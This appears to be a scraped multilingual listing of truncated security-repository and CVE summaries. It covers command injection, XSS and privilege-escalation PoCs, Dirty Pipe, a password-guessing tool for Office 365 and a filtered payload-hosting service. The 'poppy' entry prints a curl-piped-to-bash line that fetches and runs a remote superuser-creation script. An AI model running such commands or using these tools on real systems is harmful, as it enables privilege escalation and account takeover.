CVE-2026-84436

IBM Guardium Data Protection 12.2 is vulnerable to OS command injection within the certificate export CLI functionality . A privileged authenticated CLI user can exploit this vulnerability to execute arbitrary commands with root privileges . This issue is caused by the improper neutralization of ...

CVE-2026-84436 IBM Guardium Data Protection is affected by multiple vulnerabilities.

IBM Guardium Data Protection 12.2 is vulnerable to command injection in the certificate export CLI functionality, allowing a privileged authenticated CLI user to execute arbitrary commands with root privileges...

CVE-2017-8759_-SOAP_WSDL

¿Qué es CVE-2017-8759? es una vulnerabilidad de ejecución remota de código en SOAP WDSL Existe una vulnerabilidad de ejecución remota de código cuando Microsoft .NET Framework procesa entrada no confiable. Un atacante que explotara con éxito esta vulnerabilidad en software que usa el framework .N...

owt

Currently unstable will be updated eventually. Offensive Wifi Toolkit owt created by Brennan Mccown clu3bot This tool compiles some necessary tools for wifi auditing in a unix bash script with a user friendly interface. The goal of owt is to have the smallest file size possible while still...

CVE-2021-38163

CVE-2021-38163 CVE-2021-38163 - SAP Netveawer 漏洞利用 SAP NetWeaver Visual Composer 7.0 RT 版本 - 7.30, 7.31, 7.40, 7.50，在没有限制的情况下，经认证的非管理用户可以通过网络上传恶意文件并触发其处理，从而能够以 Java 服务器进程的权限运行操作系统命令。这些命令可用于读取或修改服务器上的任何信息，或关闭服务器使其不可用。...

CVE-2024-37383-POC

CVE-2024-37383-POC CVE-2024-37383 的 PoC（概念验证） 简介 本仓库包含 Roundcube XSS 漏洞（CVE-2024-37383）的概念验证。 关于该漏洞的更多信息可在此处找到：在这里 步骤 启动 Roundcube 如果你还没有运行中的 Roundcube 实例，可以使用 startroundcube.sh 脚本来启动。 你需要安装 Docker。 该脚本目前配置为与 gmx 配合使用，但如果你想使用其他邮件服务商，可以修改脚本中的变量。邮件服务商必须支持 IMAP。 发送包含 payload 的邮件 以下是一些可用于发送带有 payload...

CVE-2026-44848-PoC

CVE-2026-44848 — Portainer: Falta de autorización en los endpoints de plugins de Docker → RCE en el host Prueba de concepto de CVE-2026-44848 , una vulnerabilidad de falta de autenticación CWE-862 en Portainer que permite a un usuario no administrador con acceso al endpoint de Docker realizar...

kratos

聊天 · 讨论 · 新闻邮件 · 文档 · 试用Ory Network · 工作机会 Ory Kratos 是一个面向云原生应用的 API 优先身份与用户管理系统。它将登录、注册、恢复、验证和配置文件管理流程集中起来，让你的服务可以直接使用它们，而无需重新实现。 目录 什么是 Ory Kratos？ 为什么选择 Ory Kratos 从 Auth0、Okta 及类似提供商迁移 部署选项 在 Ory Network 上使用 Ory Kratos 自托管 Ory Kratos 快速开始 谁在使用它？ 什么是 Ory Kratos？ Ory Kratos 是一个遵循 云架构最佳实践 的 API...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC , polkit 0.131 Uso Probado en Arch Linux Manjaro y Axyl OS git clone https://github.com/tahaafarooq/poppy make ./poppy Exploit de creación de superusuario bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" gcc -shared...

CVE-2026-97901

A flaw was found in the Linux kernel's Generic Netlink genetlink component. This flaw allows a local user to cause a Denial of Service DoS through a system crash. The vulnerability occurs because the kernel fails to maintain a reference to the target module during a policy dump that spans multipl...

TotalRecall

TotalRecall Reloaded Rompiendo Windows Recall. Otra vez. image Cuando Microsoft rediseñó Recall con enclaves VBS, cifrado AES-256-GCM, autenticación Windows Hello y un host de Proceso Ligero Protegido, el mensaje fue claro: los datos están bloqueados en una bóveda. La bóveda es sólida. El camión ...

Go365

Go365 v2.0 修复了AWS网关问题（感谢h0useh3ad！） 当代理服务器连接失败时不再崩溃 新增了图形端点 在使用Go365之前，请通读本README！ Go365是一款用于对使用Office365（现/即将更名为Microsoft365）的组织执行用户枚举和密码猜测攻击的工具。Go365使用了一个位于login.microsoftonline.com上的独特SOAP API端点，大多数其他工具不使用该端点。当使用电子邮件地址和密码进行查询时，该端点会返回一个Azure AD身份验证和授权码。Go365会处理该代码，并将结果显示在屏幕上或输出到文件中。...

satellite

satellite satellite 是一个 Web 载荷托管服务，它能够过滤请求，确保只有正确的目标才能获取到载荷。此工具也可用于托管那些仅在非常特定情况下才能被访问的文件。 快速入门指南 1. 在 Ubuntu 上安装 satellite，使用 .deb 文件 dpkg -i satelliteX.X.Xlinuxamd64.tar.gz 2. 创建要提供的文件 echo 'It worked!' /var/www/html/index.html 3. 为 index.html 创建过滤文件 echo -e "authorizeduseragents:\n- ayyylmao"...

satellite

satellite Satellite is an web payload hosting service which filters requests to ensure the correct target is getting a payload. This can also be a useful service for hosting files that should be only accessed in very specific circumstances. Quickstart Guide 1. Install satellite on Ubuntu using th...

CVE-2026-28766

CVE-2026-28766 Autenticación faltante: endpoint de cuenta de usuario Campo| Valor ---|--- CVE| CVE-2026-28766 Gravedad| Crítico 9.3 Vector CVSS| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N Debilidad CWE| CWE-306: Autenticación faltante para función crítica Componentes afectados| Cloud API...

sysbox

Introducción Sysbox es un runtime de contenedores de código abierto y gratuito un "runc" especializado, desarrollado originalmente por Nestybox adquirida por Dockerdocker-acquisition en 05/2022, que mejora los contenedores de dos maneras clave: Mejora el aislamiento de los contenedores:...

CVE-2021-40870

CVE-2021-40870 Carga sin restricciones de archivos con tipo peligroso en Aviatrix permite a un usuario autenticado ejecutar código arbitrario https://attackerkb.com/assessments/970a9fa9-223d-4d07-bafa-a338147934f3...

CVE-2022-0847-DirtyPipe-

CVE-2022-0847-DirtyPipe-Exploits Una colección de exploits y documentación para pentesters y red teamers que puede utilizarse para ayudar en la explotación de la vulnerabilidad Dirty Pipe de Linux. Acerca de la vulnerabilidad Dirty Pipe CVE-2022-0847 es una vulnerabilidad de escalada de privilegi...

CVE-2023-34212

CVE-2023-34212: Apache NiFi中通过JNDI组件的Java反序列化 在Apache NiFi 1.8.0至1.21.0版本中，JndiJmsConnectionFactoryProvider控制器服务以及ConsumeJMS和PublishJMS处理器允许经过身份验证和授权的用户配置URL和库属性，从而能够从远程位置反序列化不可信数据。 厂商披露： 该漏洞的厂商披露和修复可以在此处找到。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可在此PDF中找到。 附加资源： 感谢奇安信TI中心的Veraxy00 与我同时发现并报告了该漏洞。...

CVE-2019-10092

CVE-2019-10092: Cross-Site Scripting limitado a través de la página "Proxy Error" en Apache HTTP Server En Apache HTTP Server 2.4.0-2.4.39, se informó de un problema limitado de cross-site scripting que afectaba a la página de error de modproxy. Un atacante podía provocar que el enlace de la pági...